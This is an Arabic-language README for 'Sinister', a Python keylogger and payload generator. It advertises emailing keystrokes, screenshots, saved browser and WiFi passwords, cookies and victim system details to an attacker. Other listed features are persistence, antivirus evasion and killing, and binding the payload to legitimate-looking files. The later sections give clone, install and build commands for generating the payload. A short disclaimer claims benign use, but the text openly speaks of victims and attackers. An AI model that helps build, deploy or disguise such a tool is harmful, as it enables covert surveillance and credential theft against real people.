Sinister

                    هذا السكربت البايثون الصغير يمكنه القيام بعمل رائع حقًا.

Sinister هو مُولّد Keylogger لأنظمة ويندوز/لينكس، يقوم بإرسال سجلات المفاتيح ولقطات الشاشة عبر البريد الإلكتروني مع معلومات ضحية أخرى قيّمة، مكتوب بلغة Python 3.

إخلاء مسؤولية

:computer: تم إنشاء هذا المشروع فقط للأغراض الجيدة والاستخدام الشخصي.

هذا البرنامج يُقدم "كما هو" بدون أي ضمان من أي نوع. يمكنك استخدام هذا البرنامج على مسؤوليتك الخاصة. الاستخدام هو مسؤولية المستخدم النهائي بالكامل. المطورون لا يتحملون أي مسؤولية ولا يكونون مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

الميزات

• يعمل على ويندوز/لينكس
• إشعار بضحية جديدة عبر البريد الإلكتروني
• غير قابل للكشف
• الثبات (Persistence)
• التحقق من صحة بيانات اعتماد البريد الإلكتروني قبل إنشاء الحمولة.
• يمكن استقبال سجلات المفاتيح في أي مزود بريد إلكتروني مثل GMAIL، YAHOO، OUTLOOK، SMTP مخصص.

• خادم SMTP / المنفذ

اسم الخادم	خادم SMTP	منفذ SMTP
GMAIL	smtp.gmail.com	587
OUTLOOK	smtp-mail.outlook.com	587
YAHOO	smtp.mail.yahoo.com	587

• إرسال لقطة شاشة لشاشة الكمبيوتر الضحية عبر البريد الإلكتروني
• إنشاء ملف تنفيذي ثنائي بدون أي تبعيات
• إنشاء ملف بحجم أقل ~ 5 ميجابايت مع وظائف متقدمة
• تشويش الحمولة قبل إنشائها، وبالتالي تجاوز عدد قليل من برامج مكافحة الفيروسات
• الحمولة المُنشأة مُشفّرة بـbase64، مما يجعل الهندسة العكسية للحمولة صعبة للغاية
• وظيفة لقتل برامج مكافحة الفيروسات على جهاز الضحية ومحاولة تعطيل الأمان
• واجهة ملونة رائعة لإنشاء الحمولة
• في جانب المهاجم: أثناء إنشاء الحمولة، يكتشف السكربت تلقائيًا التبعيات المفقودة ويقوم بتثبيتها
• تمييز بيانات السجل بناءً على اسم النافذة النشطة (انظر الصورة لفهم أفضل)
• القدرة على إضافة أيقونة مخصصة للملف الخبيث
• أداة ربط مدمجة يمكنها ربط Keylogger مع أي ملف [.pdf، .txt، .exe إلخ]، تشغيل ملف شرعي في المقدمة والكود الخبيث في الخلفية كخدمة.
• التحقق من وجود مثيل قيد التشغيل بالفعل على النظام، إذا وُجد مثيل قيد التشغيل، فسيتم تنفيذ الملف الشرعي فقط [مانع تشغيل نسخ متعددة لتجنب استقبال سجلات بريد إلكتروني مكررة].
• يمكن للمهاجم إنشاء/تجميع لكل من ويندوز/لينكس باستخدام نظام لينكس، ولكن يمكن فقط إنشاء/تجميع ملف ويندوز باستخدام جهاز ويندوز
• استرجاع كلمات المرور المحفوظة من نظام الضحية وإرسالها إلى المهاجم.

ما يمكن أن يسرقه أداة السرقة المدمجة:
متصفح Chrome (كلمة المرور المحفوظة)
WiFi (كلمة المرور المحفوظة)
ملفات تعريف الارتباط Chrome (بيانات تسجيل الدخول، ملفات تعريف الارتباط، السجل)
ملفات تعريف الارتباط Firefox (cookies.sqlite)

ملاحظة: أداة السرقة المخصصة مبرمجة، ولا تعتمد على LaZagne

• جلب وإرسال معلومات مفيدة عن جهاز الضحية

هذه الأشياء تُجلب وتُرسل:
نظام التشغيل
اسم الكمبيوتر
اسم المستخدم
IPv4 العام

• إذا كانت حمولتك غير قادرة على التنفيذ، فاستخدم --debug لتشغيل الـ exe في المقدمة مع CMD

مهم

في 30 مايو 2022، قامت Google بإزالة ميزة التطبيقات الأقل أمانًا، لذا بدلاً من كلمة مرور Gmail:

• قم بتفعيل المصادقة الثنائية (2FA) على Gmail الخاص بالمهاجم
• أنشئ كلمة مرور خاصة بالتطبيق
• استخدم كلمة المرور الخاصة بالتطبيق هذه عند إنشاء الحمولة.
• كيفية إنشاء كلمة مرور خاصة بالتطبيق: انقر هنا

تم الاختبار على

Kali Linux - الإصدار المتداول

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

المتطلبات الأساسية

• Python 3.X
• عدد قليل من الوحدات الخارجية

كيفية الاستخدام في لينكس

# انتقل إلى الدليل /opt (اختياري)
$ cd /opt/

# استنساخ هذا المستودع
$ git clone https://github.com/PushpenderIndia/Sinister.git

# انتقل إلى مجلد Sinister
$ cd Sinister

# تثبيت التبعيات
$ bash installer_linux.sh

*** ملاحظة عند ظهور مربع حوار مثبت Python أثناء تنفيذ installer_linux.sh ***
    * انقر على التثبيت المخصص 
    * حدد المسار إلى: C:/Python37-32
    ### بحيث يتم تثبيت Python في هذا المسار (داخل Wine) : ~/.wine/drive_c/Python37-32

# إذا كنت تواجه أخطاء أثناء تنفيذ installer_linux.sh، حاول التثبيت باستخدام installer_linux.py
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# إنشاء الحمولة/RAT
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# إنشاء الحمولة باستخدام خادم SMTP لجيميل، تكوين المنفذ (خادم SMTP الافتراضي = smtp.gmail.com، المنفذ الافتراضي = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# إنشاء الحمولة باستخدام خادم SMTP لأوتلوك، تكوين المنفذ
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path

# إنشاء الحمولة باستخدام خادم SMTP لياهو، تكوين المنفذ
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path

ملاحظة: يمكنك أيضًا استخدام الأيقونات المخصصة لدينا من مجلد icon، فقط استخدمها هكذا  --icon icon/pdf.ico

كيفية الاستخدام في ويندوز

# تثبيت التبعيات 
$ قم بتثبيت أحدث Python 3.x

# استنساخ هذا المستودع
$ git clone https://github.com/PushpenderIndia/Sinister.git

# انتقل إلى المستودع
$ cd Sinister

# تثبيت التبعيات
$ python -m pip install -r requirements.txt

# افتح Sinister.py في محرر نصوص وقم بتكوين السطر 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe" 

# الحصول على قائمة المساعدة
$ python Sinister.py --help

# إنشاء الحمولة/RAT
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# إنشاء الحمولة باستخدام خادم SMTP لجيميل، تكوين المنفذ (خادم SMTP الافتراضي = smtp.gmail.com، المنفذ الافتراضي = 587)
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# إنشاء الحمولة باستخدام خادم SMTP لأوتلوك، تكوين المنفذ
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path

# إنشاء الحمولة باستخدام خادم SMTP لياهو، تكوين المنفذ
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path